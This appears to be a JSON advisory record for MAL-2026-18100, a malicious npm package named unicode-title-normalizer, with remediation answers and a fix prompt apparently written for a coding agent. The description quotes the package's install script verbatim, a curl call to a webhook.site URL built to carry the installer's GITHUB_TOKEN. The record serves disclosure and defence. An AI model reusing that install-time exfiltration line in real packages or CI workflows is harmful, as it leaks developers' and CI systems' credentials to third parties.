{"answers":{"affected":"1 open source package ship an affected version, including unicode-title-normalizer.","exploited":"There is no known exploitation of MAL-2026-18100 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-18100 is a malicious package in unicode-title-normalizer, published on 20 Oct 2026."},"fix_prompt":"MAL-2026-18100 is a malicious package: unicode-title-normalizer (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-18100/ (Markdown: https://insights.sbomify.com/MAL-2026-18100/index.md)","id":"MAL-2026-18100","markdown":"https://insights.sbomify.com/MAL-2026-18100/index.md","name":"MAL-2026-18100","record":{"aliases":["GHSA-66rv-6q99-h89g"],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"unicode-title-normalizer@1.0.0 was published to npm on 2026-10-19 at 14:50:39 UTC by the account blunty_blunks, about one minute after npm's staged-publish placeholder 0.0.0-stage. The tarball has three files. index.js exports a function that returns the string \"hello\", and README.md is an unedited template for a package named @your-scope/hello-example. The package name has nothing to do with the code.\n\npackage.json declares an install script, which npm runs on every install:\n\necho \"hey hey hey hoooo\" \u0026\u0026 curl https://webhook.site/7527749a-4aa3-4727-abb4-fc0ffd8e89ab/workfloou/${{GITHUB_TOKEN}}\n\nThe script calls a webhook.site URL with a path segment meant to carry GITHUB_TOKEN, the token GitHub Actions gives to workflow runs. The path segment \"workfloou\" also points at CI workflows. The token is written in GitHub Actions expression syntax (${{ }}), which sh and bash reject as a bad substitution, so on POSIX shells the curl command most likely does not run. The intent is to send a CI credential to a third-party endpoint at install time.\n\nTarball sha256: 0ca2a83f6815ad479d01157be6a64e8c544e99beccef3b8583c89b4f0422bc6a\nTarball sha1: 2e9267199fecadd8601284a4728ea4b08ff3ba0a\n\nnpm removed the package on 2026-10-20, and the name now holds npm's 0.0.1-security placeholder.\n\nThe package's npm `install` lifecycle script in package.json (line 11) runs curl against a hardcoded webhook.site collector URL (https://webhook.site/7527749a-4aa3-4727-abb4-fc0ffd8e89ab/workfloou/${{GITHUB_TOKEN}}), appending the installer's GITHUB_TOKEN value to the request path. On `npm install` this sends the CI/installer GitHub token to an anonymous third-party request-bin that is unrelated to the publisher. The shipped code is otherwise a trivial `hello()` stub and the package name (`unicode-title-normalizer`) and description (`Says hello.`) do not correspond to the shipped functionality — the only operative behavior is the install-time credential exfiltration. The GitHub-Actions-style `${{GITHUB_TOKEN}}` templating indicates the payload is designed to detonate inside a GitHub Actions workflow where the token expands to a live CI credential. Package shape is consistent with a typosquat/dependency-confusion lure.\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in unicode-title-normalizer (npm)","id":"MAL-2026-18100","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":[],"package":"unicode-title-normalizer","purl":"pkg:npm/unicode-title-normalizer","source":"MAL-2026-18100"}],"products":null,"published":"2026-10-20","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-18100/"}